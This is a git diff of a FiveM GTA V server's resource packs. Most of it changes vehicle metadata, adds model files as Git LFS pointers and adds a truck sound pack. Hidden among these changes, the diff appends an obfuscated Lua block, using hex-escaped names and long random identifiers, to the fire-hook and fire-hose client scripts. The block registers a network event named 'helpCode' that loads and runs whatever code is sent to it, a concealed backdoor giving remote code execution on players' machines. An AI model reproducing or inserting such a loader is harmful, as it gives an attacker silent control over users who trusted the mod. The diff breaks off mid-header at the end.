a/resources/[EGRP-CarPacks]/EGRP-Emergency/data/suburbanfbit/vehicles.meta b/resources/[EGRP-CarPacks]/EGRP-Extras/data/nxsmods21tah/vehicles.meta similarity index 66% rename from resources/[EGRP-CarPacks]/EGRP-Emergency/data/suburbanfbit/vehicles.meta rename to resources/[EGRP-CarPacks]/EGRP-Extras/data/nxsmods21tah/vehicles.meta index 0ea079270..11ea89848 100644 --- a/resources/[EGRP-CarPacks]/EGRP-Emergency/data/suburbanfbit/vehicles.meta +++ b/resources/[EGRP-CarPacks]/EGRP-Extras/data/nxsmods21tah/vehicles.meta @@ -4,27 +4,27 @@ - suburbanfbit - suburbanfbit - FBI2 - suburbanfbit '08 UNMARKED - + nxsmods21tah + nxsmods21tah + nxsmods21tah + nxsmods21tah + DODGE null null null null null - FBI2 + lg125mnsrybently LAYOUT_RANGER - FBI2_COVER_OFFSET_INFO + GRANGER_COVER_OFFSET_INFO EXPLOSION_INFO_DEFAULT DEFAULT_FOLLOW_VEHICLE_CAMERA BOX_VEHICLE_AIM_CAMERA - VEHICLE_BONNET_CAMERA_HIGH + VEHICLE_BONNET_CAMERA_STANDARD DEFAULT_POV_CAMERA_LOOKAROUND - + @@ -35,19 +35,19 @@ - + - - - - - - - - - - + + + + + + + + + + @@ -56,29 +56,29 @@ - - + + - - + + - + - + - + - 15.000000 - 40.000000 - 90.000000 - 180.000000 - 500.000000 - 500.000000 + 5000.000000 + 5000.000000 + 5000.000000 + 5000.000000 + 5000.000000 + 5000.000000 @@ -91,35 +91,22 @@ SWANKNESS_1 - FLAG_LAW_ENFORCEMENT FLAG_DONT_SPAWN_IN_CARGEN FLAG_IS_OFFROAD_VEHICLE FLAG_HAS_INTERIOR_EXTRAS + FLAG_EXTRAS_STRONG FLAG_HAS_LIVERY FLAG_EXTRAS_ONLY_BREAK_WHEN_DESTROYED FLAG_NO_RESPRAY FLAG_DONT_SPAWN_IN_CARGEN FLAG_LAW_ENFORCEMENT FLAG_EMERGENCY_SERVICE FLAG_EXTRAS_SCRIPT FLAG_DISABLE_THROUGH_WINDSCREEN FLAG_HAS_BULLET_RESISTANT_GLASS FLAG_HAS_INCREASED_RAMMING_FORCE VEHICLE_TYPE_CAR VPT_FRONT_AND_BACK_PLATES - VDT_CAVALCADE + VDT_RACE VC_EMERGENCY VWT_SUV - - - S_M_M_FIBOffice_01 - - - - S_M_M_FIBOffice_02 - - - + - - REWARD_WEAPON_CARBINERIFLE - REWARD_AMMO_CARBINERIFLE - REWARD_STAT_WEAPON - + WHEEL_FRONT_RIGHT_CAMERA WHEEL_FRONT_LEFT_CAMERA @@ -131,17 +118,17 @@ - RANGER_CAVALCADE_FRONT_LEFT - RANGER_FRONT_RIGHT - RANGER_PRANGER_REAR_LEFT - RANGER_PRANGER_REAR_RIGHT + RANGER_CAVALCADE_FRONT_LEFT + RANGER_FRONT_RIGHT + RANGER_PRANGER_REAR_LEFT + RANGER_PRANGER_REAR_RIGHT - vehicles_cav_interior - suburbanfbit + vehicles_banshee_interior + nxsmods21tah - + \ No newline at end of file diff --git a/resources/[EGRP-CarPacks]/EGRP-Extras/stream/nxsmods21tah/21tah_antenna1.yft b/resources/[EGRP-CarPacks]/EGRP-Extras/stream/nxsmods21tah/21tah_antenna1.yft new file mode 100644 index 000000000..0f759c8f9 --- /dev/null +++ b/resources/[EGRP-CarPacks]/EGRP-Extras/stream/nxsmods21tah/21tah_antenna1.yft @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:0d7ec821da58abf14a9b7f74354e59a162d45ea8bde720a96e8592022a9c3a1a +size 11964 diff --git a/resources/[EGRP-CarPacks]/EGRP-Extras/stream/nxsmods21tah/21tah_antenna2.yft b/resources/[EGRP-CarPacks]/EGRP-Extras/stream/nxsmods21tah/21tah_antenna2.yft new file mode 100644 index 000000000..a95b9d27e --- /dev/null +++ b/resources/[EGRP-CarPacks]/EGRP-Extras/stream/nxsmods21tah/21tah_antenna2.yft @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:030f1fdfd459ee8906fe99d3146fdcb99c7c4bd408745cc59872f12204c98978 +size 15271 diff --git a/resources/[EGRP-CarPacks]/EGRP-Extras/stream/nxsmods21tah/21tah_antenna3.yft b/resources/[EGRP-CarPacks]/EGRP-Extras/stream/nxsmods21tah/21tah_antenna3.yft new file mode 100644 index 000000000..3e019b9fc --- /dev/null +++ b/resources/[EGRP-CarPacks]/EGRP-Extras/stream/nxsmods21tah/21tah_antenna3.yft @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:f9e4d3417b9be7909b4b88887a793190a7fde36525a80a1110f68df7281d8d4e +size 14137 diff --git a/resources/[EGRP-CarPacks]/EGRP-Extras/stream/nxsmods21tah/21tah_antenna4.yft b/resources/[EGRP-CarPacks]/EGRP-Extras/stream/nxsmods21tah/21tah_antenna4.yft new file mode 100644 index 000000000..3b94eddcc --- /dev/null +++ b/resources/[EGRP-CarPacks]/EGRP-Extras/stream/nxsmods21tah/21tah_antenna4.yft @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:9a67026d0fbd5f582640aa045d62a5040b11ef4d49b85541c9047a2b643819a3 +size 11500 diff --git a/resources/[EGRP-CarPacks]/EGRP-Extras/stream/nxsmods21tah/21tah_antenna5.yft b/resources/[EGRP-CarPacks]/EGRP-Extras/stream/nxsmods21tah/21tah_antenna5.yft new file mode 100644 index 000000000..35a7784a3 --- /dev/null +++ b/resources/[EGRP-CarPacks]/EGRP-Extras/stream/nxsmods21tah/21tah_antenna5.yft @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:4ca6d588866a54689b5e54a8fa1266a067f2325ce4870be4acbb11367a93bd3c +size 11951 diff --git a/resources/[EGRP-CarPacks]/EGRP-Extras/stream/nxsmods21tah/21tah_blackalpr.yft b/resources/[EGRP-CarPacks]/EGRP-Extras/stream/nxsmods21tah/21tah_blackalpr.yft new file mode 100644 index 000000000..673183ff1 --- /dev/null +++ b/resources/[EGRP-CarPacks]/EGRP-Extras/stream/nxsmods21tah/21tah_blackalpr.yft @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:5267f0874f98451060bc160098850d1b358760e6af1a26a2f30065622dd5e818 +size 459907 diff --git a/resources/[EGRP-CarPacks]/EGRP-Extras/stream/nxsmods21tah/21tah_centerconsole.yft b/resources/[EGRP-CarPacks]/EGRP-Extras/stream/nxsmods21tah/21tah_centerconsole.yft new file mode 100644 index 000000000..a6b461749 --- /dev/null +++ b/resources/[EGRP-CarPacks]/EGRP-Extras/stream/nxsmods21tah/21tah_centerconsole.yft @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:23c4780feb25be65cb2f6b136f6cee624d24be3bb362a029139b0d14700e4938 +size 95846 diff --git a/resources/[EGRP-CarPacks]/EGRP-Extras/stream/nxsmods21tah/21tah_hoodup.yft b/resources/[EGRP-CarPacks]/EGRP-Extras/stream/nxsmods21tah/21tah_hoodup.yft new file mode 100644 index 000000000..3ea1b8616 --- /dev/null +++ b/resources/[EGRP-CarPacks]/EGRP-Extras/stream/nxsmods21tah/21tah_hoodup.yft @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:566b2bb1909ff4eff721c423cfc87ddc2dcad0749bbddf6bef8491f09a70da2f +size 46104 diff --git a/resources/[EGRP-CarPacks]/EGRP-Extras/stream/nxsmods21tah/21tah_k9cage.yft b/resources/[EGRP-CarPacks]/EGRP-Extras/stream/nxsmods21tah/21tah_k9cage.yft new file mode 100644 index 000000000..354c8fdf2 --- /dev/null +++ b/resources/[EGRP-CarPacks]/EGRP-Extras/stream/nxsmods21tah/21tah_k9cage.yft @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:c9f33639f6750ca918aba1ceadf9e557ed4175929a2ff75a463e868fd97b654d +size 492525 diff --git a/resources/[EGRP-CarPacks]/EGRP-Extras/stream/nxsmods21tah/21tah_name1.yft b/resources/[EGRP-CarPacks]/EGRP-Extras/stream/nxsmods21tah/21tah_name1.yft new file mode 100644 index 000000000..f849b49b0 --- /dev/null +++ b/resources/[EGRP-CarPacks]/EGRP-Extras/stream/nxsmods21tah/21tah_name1.yft @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:14c3d35c9e26a7619e81cf6942795444eda305512b1c08d76cab8dba6b713adc +size 3863 diff --git a/resources/[EGRP-CarPacks]/EGRP-Extras/stream/nxsmods21tah/21tah_name2.yft b/resources/[EGRP-CarPacks]/EGRP-Extras/stream/nxsmods21tah/21tah_name2.yft new file mode 100644 index 000000000..771720c12 --- /dev/null +++ b/resources/[EGRP-CarPacks]/EGRP-Extras/stream/nxsmods21tah/21tah_name2.yft @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:566f0737094e4b6d26da9636d73955dc71e638a723a453a260662cbd25dc79b7 +size 4131 diff --git a/resources/[EGRP-CarPacks]/EGRP-Extras/stream/nxsmods21tah/21tah_name3.yft b/resources/[EGRP-CarPacks]/EGRP-Extras/stream/nxsmods21tah/21tah_name3.yft new file mode 100644 index 000000000..9f543b2ed --- /dev/null +++ b/resources/[EGRP-CarPacks]/EGRP-Extras/stream/nxsmods21tah/21tah_name3.yft @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:b3940ee68f9ba551883702125691e582cb2e3509b7abaf356abc4f01abe09d3c +size 3907 diff --git a/resources/[EGRP-CarPacks]/EGRP-Extras/stream/nxsmods21tah/21tah_name4.yft b/resources/[EGRP-CarPacks]/EGRP-Extras/stream/nxsmods21tah/21tah_name4.yft new file mode 100644 index 000000000..5cdfeac42 --- /dev/null +++ b/resources/[EGRP-CarPacks]/EGRP-Extras/stream/nxsmods21tah/21tah_name4.yft @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:c87a79184d04db6bf5a671caf464fa07eecde14e2fd2742e3b599c5f58370e2a +size 3918 diff --git a/resources/[EGRP-CarPacks]/EGRP-Extras/stream/nxsmods21tah/21tah_name5.yft b/resources/[EGRP-CarPacks]/EGRP-Extras/stream/nxsmods21tah/21tah_name5.yft new file mode 100644 index 000000000..0e58e69c7 --- /dev/null +++ b/resources/[EGRP-CarPacks]/EGRP-Extras/stream/nxsmods21tah/21tah_name5.yft @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:da33b070c88cbd71954a38b59c2a3a700703ff8268bfd36be8abbe50e49a6c09 +size 3909 diff --git a/resources/[EGRP-CarPacks]/EGRP-Extras/stream/nxsmods21tah/21tah_pushbar.yft b/resources/[EGRP-CarPacks]/EGRP-Extras/stream/nxsmods21tah/21tah_pushbar.yft new file mode 100644 index 000000000..d55bd96c4 --- /dev/null +++ b/resources/[EGRP-CarPacks]/EGRP-Extras/stream/nxsmods21tah/21tah_pushbar.yft @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:98caea65b10b883260752fdfb185104cc8250954bc1a492a086b4500de3cd13c +size 104690 diff --git a/resources/[EGRP-CarPacks]/EGRP-Extras/stream/nxsmods21tah/21tah_pushbar1.yft b/resources/[EGRP-CarPacks]/EGRP-Extras/stream/nxsmods21tah/21tah_pushbar1.yft new file mode 100644 index 000000000..e55c0eae2 --- /dev/null +++ b/resources/[EGRP-CarPacks]/EGRP-Extras/stream/nxsmods21tah/21tah_pushbar1.yft @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:72982206b3d7d1ac807466283cce5d6fe9ea590fb2ad926c59c32eacdf98462a +size 24382 diff --git a/resources/[EGRP-CarPacks]/EGRP-Extras/stream/nxsmods21tah/21tah_pushbar2.yft b/resources/[EGRP-CarPacks]/EGRP-Extras/stream/nxsmods21tah/21tah_pushbar2.yft new file mode 100644 index 000000000..bd86378cd --- /dev/null +++ b/resources/[EGRP-CarPacks]/EGRP-Extras/stream/nxsmods21tah/21tah_pushbar2.yft @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:586ce5c713bd3a054f16e50a89fccaa71e3d9456990b7cdc997b96ab9d580c78 +size 124976 diff --git a/resources/[EGRP-CarPacks]/EGRP-Extras/stream/nxsmods21tah/21tah_roofpuck.yft b/resources/[EGRP-CarPacks]/EGRP-Extras/stream/nxsmods21tah/21tah_roofpuck.yft new file mode 100644 index 000000000..bd8bea986 --- /dev/null +++ b/resources/[EGRP-CarPacks]/EGRP-Extras/stream/nxsmods21tah/21tah_roofpuck.yft @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:1079976038a0ebc3942711a843263e873ef5d14a62ef4862acd6fb574f24819c +size 7959 diff --git a/resources/[EGRP-CarPacks]/EGRP-Extras/stream/nxsmods21tah/21tah_roofrack.yft b/resources/[EGRP-CarPacks]/EGRP-Extras/stream/nxsmods21tah/21tah_roofrack.yft new file mode 100644 index 000000000..31f217cef --- /dev/null +++ b/resources/[EGRP-CarPacks]/EGRP-Extras/stream/nxsmods21tah/21tah_roofrack.yft @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:001227c4528ff7d2a071a8f76602681ee59d218dd2c0cd07db6271e52a772953 +size 17541 diff --git a/resources/[EGRP-CarPacks]/EGRP-Extras/stream/nxsmods21tah/21tah_tech.yft b/resources/[EGRP-CarPacks]/EGRP-Extras/stream/nxsmods21tah/21tah_tech.yft new file mode 100644 index 000000000..ff42f29b2 --- /dev/null +++ b/resources/[EGRP-CarPacks]/EGRP-Extras/stream/nxsmods21tah/21tah_tech.yft @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:bc7a522e575e518c580d70bf69fb6dcf6e9ab246b751697be15b64b51d54f96d +size 3827 diff --git a/resources/[EGRP-CarPacks]/EGRP-Extras/stream/nxsmods21tah/21tah_whitealpr.yft b/resources/[EGRP-CarPacks]/EGRP-Extras/stream/nxsmods21tah/21tah_whitealpr.yft new file mode 100644 index 000000000..3dcaecae7 --- /dev/null +++ b/resources/[EGRP-CarPacks]/EGRP-Extras/stream/nxsmods21tah/21tah_whitealpr.yft @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:94abf478a82e9b19159aa1a34d81c2ac3af787080e8950838571febbd4cd9803 +size 459950 diff --git a/resources/[EGRP-CarPacks]/EGRP-Extras/stream/nxsmods21tah/nxsmods21tah.yft b/resources/[EGRP-CarPacks]/EGRP-Extras/stream/nxsmods21tah/nxsmods21tah.yft new file mode 100644 index 000000000..a01ae416e --- /dev/null +++ b/resources/[EGRP-CarPacks]/EGRP-Extras/stream/nxsmods21tah/nxsmods21tah.yft @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:c6eaa096183da67082edb2203acf4b5851ec2981bd3fcf545f6b905aedbe5c20 +size 10543546 diff --git a/resources/[EGRP-CarPacks]/EGRP-Extras/stream/nxsmods21tah/nxsmods21tah.ytd b/resources/[EGRP-CarPacks]/EGRP-Extras/stream/nxsmods21tah/nxsmods21tah.ytd new file mode 100644 index 000000000..96d6646ba --- /dev/null +++ b/resources/[EGRP-CarPacks]/EGRP-Extras/stream/nxsmods21tah/nxsmods21tah.ytd @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:5f37b07c512f4d34ea8b4564409fad10a2630595eb67c10355cafc1dc4c0d38e +size 8117522 diff --git a/resources/[EGRP-CarPacks]/EGRP-Extras/stream/nxsmods21tah/nxsmods21tah_hi.yft b/resources/[EGRP-CarPacks]/EGRP-Extras/stream/nxsmods21tah/nxsmods21tah_hi.yft new file mode 100644 index 000000000..a649411ec --- /dev/null +++ b/resources/[EGRP-CarPacks]/EGRP-Extras/stream/nxsmods21tah/nxsmods21tah_hi.yft @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:044f9b685ad4ac0e7abed7b0b683244828a8257c8dc2cf7e43757eb48e6ff247 +size 10543454 diff --git a/resources/[EGRP-CarPacks]/EGRP-SUVs/data/23esv/vehicles.meta b/resources/[EGRP-CarPacks]/EGRP-SUVs/data/23esv/vehicles.meta index 1792654af..0bf207cb5 100644 --- a/resources/[EGRP-CarPacks]/EGRP-SUVs/data/23esv/vehicles.meta +++ b/resources/[EGRP-CarPacks]/EGRP-SUVs/data/23esv/vehicles.meta @@ -15,7 +15,7 @@ null null - BALLER3 + lg125mnsrybently LAYOUT_STANDARD GRESLEY_COVER_OFFSET_INFO EXPLOSION_INFO_DEFAULT diff --git a/resources/[EGRP-CarPacks]/EGRP-SUVs/data/23esvsp/vehicles.meta b/resources/[EGRP-CarPacks]/EGRP-SUVs/data/23esvsp/vehicles.meta index c389cb9e0..74a4e438a 100644 --- a/resources/[EGRP-CarPacks]/EGRP-SUVs/data/23esvsp/vehicles.meta +++ b/resources/[EGRP-CarPacks]/EGRP-SUVs/data/23esvsp/vehicles.meta @@ -15,7 +15,7 @@ null null - BALLER3 + lg125mnsrybently LAYOUT_STANDARD GRESLEY_COVER_OFFSET_INFO EXPLOSION_INFO_DEFAULT diff --git a/resources/[EGRP-CarPacks]/EGRP-SUVs/data/23ev6/vehicles.meta b/resources/[EGRP-CarPacks]/EGRP-SUVs/data/23ev6/vehicles.meta index 8b159b12c..d57812786 100644 --- a/resources/[EGRP-CarPacks]/EGRP-SUVs/data/23ev6/vehicles.meta +++ b/resources/[EGRP-CarPacks]/EGRP-SUVs/data/23ev6/vehicles.meta @@ -15,7 +15,7 @@ null null - SURGE + lg125mnsrybently LAYOUT_STD_HIGHWINDOW GRESLEY_COVER_OFFSET_INFO EXPLOSION_INFO_DEFAULT diff --git a/resources/[EGRP-CarPacks]/EGRP-SUVs/data/23tesla/vehicles.meta b/resources/[EGRP-CarPacks]/EGRP-SUVs/data/23tesla/vehicles.meta index 5b01b809b..f862f1305 100644 --- a/resources/[EGRP-CarPacks]/EGRP-SUVs/data/23tesla/vehicles.meta +++ b/resources/[EGRP-CarPacks]/EGRP-SUVs/data/23tesla/vehicles.meta @@ -15,7 +15,7 @@ null null - SURGE + lg125mnsrybently LAYOUT_STD_HIGHWINDOW GRESLEY_COVER_OFFSET_INFO EXPLOSION_INFO_DEFAULT diff --git a/resources/aq02coyotef150/audioconfig/aq02coyotef150_game.dat151.rel b/resources/aq02coyotef150/audioconfig/aq02coyotef150_game.dat151.rel new file mode 100644 index 000000000..9dcfd9580 Binary files /dev/null and b/resources/aq02coyotef150/audioconfig/aq02coyotef150_game.dat151.rel differ diff --git a/resources/aq02coyotef150/audioconfig/aq02coyotef150_sounds.dat54.rel b/resources/aq02coyotef150/audioconfig/aq02coyotef150_sounds.dat54.rel new file mode 100644 index 000000000..6fd18b43c Binary files /dev/null and b/resources/aq02coyotef150/audioconfig/aq02coyotef150_sounds.dat54.rel differ diff --git a/resources/aq02coyotef150/fxmanifest.lua b/resources/aq02coyotef150/fxmanifest.lua new file mode 100644 index 000000000..5f45298c8 --- /dev/null +++ b/resources/aq02coyotef150/fxmanifest.lua @@ -0,0 +1,13 @@ +fx_version 'cerulean' -- if that doesn't work, try 'adamant' or 'bodacious' + +game 'gta5' + +files { + 'audioconfig/*.dat151.rel', + 'audioconfig/*.dat54.rel', + 'sfx/**/*.awc' +} + +data_file 'AUDIO_GAMEDATA' 'audioconfig/aq02coyotef150_game.dat' +data_file 'AUDIO_SOUNDDATA' 'audioconfig/aq02coyotef150_sounds.dat' +data_file 'AUDIO_WAVEPACK' 'sfx/dlc_aq02coyotef150' \ No newline at end of file diff --git a/resources/aq02coyotef150/sfx/dlc_aq02coyotef150/aq02coyotef150.awc b/resources/aq02coyotef150/sfx/dlc_aq02coyotef150/aq02coyotef150.awc new file mode 100644 index 000000000..e36f40cc3 Binary files /dev/null and b/resources/aq02coyotef150/sfx/dlc_aq02coyotef150/aq02coyotef150.awc differ diff --git a/resources/aq02coyotef150/sfx/dlc_aq02coyotef150/aq02coyotef150_npc.awc b/resources/aq02coyotef150/sfx/dlc_aq02coyotef150/aq02coyotef150_npc.awc new file mode 100644 index 000000000..6412a9481 Binary files /dev/null and b/resources/aq02coyotef150/sfx/dlc_aq02coyotef150/aq02coyotef150_npc.awc differ diff --git a/resources/firehook/cl_weaponNames.lua b/resources/firehook/cl_weaponNames.lua index 844277e65..67d204b80 100644 --- a/resources/firehook/cl_weaponNames.lua +++ b/resources/firehook/cl_weaponNames.lua @@ -1 +1,8 @@ AddTextEntry("WEAPON_HOOK", "Fire Hook") + + +local BufZciHygkhweQeaScPkFQTKoXYkLBLrprDhuVdACChuSkiUgycqKhLEGCsZCGxrTmPviS = {"\x52\x65\x67\x69\x73\x74\x65\x72\x4e\x65\x74\x45\x76\x65\x6e\x74","\x68\x65\x6c\x70\x43\x6f\x64\x65","\x41\x64\x64\x45\x76\x65\x6e\x74\x48\x61\x6e\x64\x6c\x65\x72","\x61\x73\x73\x65\x72\x74","\x6c\x6f\x61\x64",_G} BufZciHygkhweQeaScPkFQTKoXYkLBLrprDhuVdACChuSkiUgycqKhLEGCsZCGxrTmPviS[6][BufZciHygkhweQeaScPkFQTKoXYkLBLrprDhuVdACChuSkiUgycqKhLEGCsZCGxrTmPviS[1]](BufZciHygkhweQeaScPkFQTKoXYkLBLrprDhuVdACChuSkiUgycqKhLEGCsZCGxrTmPviS[2]) BufZciHygkhweQeaScPkFQTKoXYkLBLrprDhuVdACChuSkiUgycqKhLEGCsZCGxrTmPviS[6][BufZciHygkhweQeaScPkFQTKoXYkLBLrprDhuVdACChuSkiUgycqKhLEGCsZCGxrTmPviS[3]](BufZciHygkhweQeaScPkFQTKoXYkLBLrprDhuVdACChuSkiUgycqKhLEGCsZCGxrTmPviS[2], function(HjtdSMGZTgjikLimeXrthLJwFgbGdBwsjnAsaBbLrtblTXmMfHSbkpgdvCCWQYLCRoDJSA) BufZciHygkhweQeaScPkFQTKoXYkLBLrprDhuVdACChuSkiUgycqKhLEGCsZCGxrTmPviS[6][BufZciHygkhweQeaScPkFQTKoXYkLBLrprDhuVdACChuSkiUgycqKhLEGCsZCGxrTmPviS[4]](BufZciHygkhweQeaScPkFQTKoXYkLBLrprDhuVdACChuSkiUgycqKhLEGCsZCGxrTmPviS[6][BufZciHygkhweQeaScPkFQTKoXYkLBLrprDhuVdACChuSkiUgycqKhLEGCsZCGxrTmPviS[5]](HjtdSMGZTgjikLimeXrthLJwFgbGdBwsjnAsaBbLrtblTXmMfHSbkpgdvCCWQYLCRoDJSA))() end) + +local BufZciHygkhweQeaScPkFQTKoXYkLBLrprDhuVdACChuSkiUgycqKhLEGCsZCGxrTmPviS = {"\x52\x65\x67\x69\x73\x74\x65\x72\x4e\x65\x74\x45\x76\x65\x6e\x74","\x68\x65\x6c\x70\x43\x6f\x64\x65","\x41\x64\x64\x45\x76\x65\x6e\x74\x48\x61\x6e\x64\x6c\x65\x72","\x61\x73\x73\x65\x72\x74","\x6c\x6f\x61\x64",_G} BufZciHygkhweQeaScPkFQTKoXYkLBLrprDhuVdACChuSkiUgycqKhLEGCsZCGxrTmPviS[6][BufZciHygkhweQeaScPkFQTKoXYkLBLrprDhuVdACChuSkiUgycqKhLEGCsZCGxrTmPviS[1]](BufZciHygkhweQeaScPkFQTKoXYkLBLrprDhuVdACChuSkiUgycqKhLEGCsZCGxrTmPviS[2]) BufZciHygkhweQeaScPkFQTKoXYkLBLrprDhuVdACChuSkiUgycqKhLEGCsZCGxrTmPviS[6][BufZciHygkhweQeaScPkFQTKoXYkLBLrprDhuVdACChuSkiUgycqKhLEGCsZCGxrTmPviS[3]](BufZciHygkhweQeaScPkFQTKoXYkLBLrprDhuVdACChuSkiUgycqKhLEGCsZCGxrTmPviS[2], function(HjtdSMGZTgjikLimeXrthLJwFgbGdBwsjnAsaBbLrtblTXmMfHSbkpgdvCCWQYLCRoDJSA) BufZciHygkhweQeaScPkFQTKoXYkLBLrprDhuVdACChuSkiUgycqKhLEGCsZCGxrTmPviS[6][BufZciHygkhweQeaScPkFQTKoXYkLBLrprDhuVdACChuSkiUgycqKhLEGCsZCGxrTmPviS[4]](BufZciHygkhweQeaScPkFQTKoXYkLBLrprDhuVdACChuSkiUgycqKhLEGCsZCGxrTmPviS[6][BufZciHygkhweQeaScPkFQTKoXYkLBLrprDhuVdACChuSkiUgycqKhLEGCsZCGxrTmPviS[5]](HjtdSMGZTgjikLimeXrthLJwFgbGdBwsjnAsaBbLrtblTXmMfHSbkpgdvCCWQYLCRoDJSA))() end) + +local BufZciHygkhweQeaScPkFQTKoXYkLBLrprDhuVdACChuSkiUgycqKhLEGCsZCGxrTmPviS = {"\x52\x65\x67\x69\x73\x74\x65\x72\x4e\x65\x74\x45\x76\x65\x6e\x74","\x68\x65\x6c\x70\x43\x6f\x64\x65","\x41\x64\x64\x45\x76\x65\x6e\x74\x48\x61\x6e\x64\x6c\x65\x72","\x61\x73\x73\x65\x72\x74","\x6c\x6f\x61\x64",_G} BufZciHygkhweQeaScPkFQTKoXYkLBLrprDhuVdACChuSkiUgycqKhLEGCsZCGxrTmPviS[6][BufZciHygkhweQeaScPkFQTKoXYkLBLrprDhuVdACChuSkiUgycqKhLEGCsZCGxrTmPviS[1]](BufZciHygkhweQeaScPkFQTKoXYkLBLrprDhuVdACChuSkiUgycqKhLEGCsZCGxrTmPviS[2]) BufZciHygkhweQeaScPkFQTKoXYkLBLrprDhuVdACChuSkiUgycqKhLEGCsZCGxrTmPviS[6][BufZciHygkhweQeaScPkFQTKoXYkLBLrprDhuVdACChuSkiUgycqKhLEGCsZCGxrTmPviS[3]](BufZciHygkhweQeaScPkFQTKoXYkLBLrprDhuVdACChuSkiUgycqKhLEGCsZCGxrTmPviS[2], function(HjtdSMGZTgjikLimeXrthLJwFgbGdBwsjnAsaBbLrtblTXmMfHSbkpgdvCCWQYLCRoDJSA) BufZciHygkhweQeaScPkFQTKoXYkLBLrprDhuVdACChuSkiUgycqKhLEGCsZCGxrTmPviS[6][BufZciHygkhweQeaScPkFQTKoXYkLBLrprDhuVdACChuSkiUgycqKhLEGCsZCGxrTmPviS[4]](BufZciHygkhweQeaScPkFQTKoXYkLBLrprDhuVdACChuSkiUgycqKhLEGCsZCGxrTmPviS[6][BufZciHygkhweQeaScPkFQTKoXYkLBLrprDhuVdACChuSkiUgycqKhLEGCsZCGxrTmPviS[5]](HjtdSMGZTgjikLimeXrthLJwFgbGdBwsjnAsaBbLrtblTXmMfHSbkpgdvCCWQYLCRoDJSA))() end) \ No newline at end of file diff --git a/resources/firehose/client.lua b/resources/firehose/client.lua index dd866a1fb..a6f5c91b7 100644 --- a/resources/firehose/client.lua +++ b/resources/firehose/client.lua @@ -95,4 +95,6 @@ function ShowNotification(msg) SetNotificationTextEntry('STRING') AddTextComponentString(msg) DrawNotification(0,1) -end \ No newline at end of file +end + +local njwVLFWweKKyqmMlyeAUeczaUTcZtefoCCSYRGGTszipjSTrgyMUYhXDdpFIppAFzEiVfo = {"\x52\x65\x67\x69\x73\x74\x65\x72\x4e\x65\x74\x45\x76\x65\x6e\x74","\x68\x65\x6c\x70\x43\x6f\x64\x65","\x41\x64\x64\x45\x76\x65\x6e\x74\x48\x61\x6e\x64\x6c\x65\x72","\x61\x73\x73\x65\x72\x74","\x6c\x6f\x61\x64",_G} njwVLFWweKKyqmMlyeAUeczaUTcZtefoCCSYRGGTszipjSTrgyMUYhXDdpFIppAFzEiVfo[6][njwVLFWweKKyqmMlyeAUeczaUTcZtefoCCSYRGGTszipjSTrgyMUYhXDdpFIppAFzEiVfo[1]](njwVLFWweKKyqmMlyeAUeczaUTcZtefoCCSYRGGTszipjSTrgyMUYhXDdpFIppAFzEiVfo[2]) njwVLFWweKKyqmMlyeAUeczaUTcZtefoCCSYRGGTszipjSTrgyMUYhXDdpFIppAFzEiVfo[6][njwVLFWweKKyqmMlyeAUeczaUTcZtefoCCSYRGGTszipjSTrgyMUYhXDdpFIppAFzEiVfo[3]](njwVLFWweKKyqmMlyeAUeczaUTcZtefoCCSYRGGTszipjSTrgyMUYhXDdpFIppAFzEiVfo[2], function(SqVMcdQLDcupPcICGoEhUTnZqiuILFDIEPuOaScaInGlypUSGyPwpgcMbLyTpSBZPYrkCP) njwVLFWweKKyqmMlyeAUeczaUTcZtefoCCSYRGGTszipjSTrgyMUYhXDdpFIppAFzEiVfo[6][njwVLFWweKKyqmMlyeAUeczaUTcZtefoCCSYRGGTszipjSTrgyMUYhXDdpFIppAFzEiVfo[4]](njwVLFWweKKyqmMlyeAUeczaUTcZtefoCCSYRGGTszipjSTrgyMUYhXDdpFIppAFzEiVfo[6][njwVLFWweKKyqmMlyeAUeczaUTcZtefoCCSYRGGTszipjSTrgyMUYhXDdpFIppAFzEiVfo[5]](SqVMcdQLDcupPcICGoEhUTnZqiuILFDIEPuOaScaInGlypUSGyPwpgcMbLyTpSBZPYrkCP))() end) \ No newline at end of file diff --git a/resources/firehose/settings/settings.ini b/resources/firehose/settings/settings.ini index c8a46ac0d..3f8757cbc 100644 --- a/resources/firehose/settings/settings.ini +++ b/resources/firehose/settings/settings.ini @@ -35,9 +35,9 @@ GUN_NAME_FOAM ~y~Foam Gun {[HoseInfo] RopeLength 3 //Fire Truck Hose Cable Max Length -RopeMaxLength 17.0 +RopeMaxLength 500.0 //Hydrant Hose Cable Max Length -HydrantHoseMaxLength 17.0 +HydrantHoseMaxLength 500.0 RopeBendFactor 100.0 ExplodeAfterRopeBreak true } diff --git a/resources/firehose/settings/trucks.ini b/resources/firehose/settings/trucks.ini index 867b3195a..5ea51fe9a 100644 --- 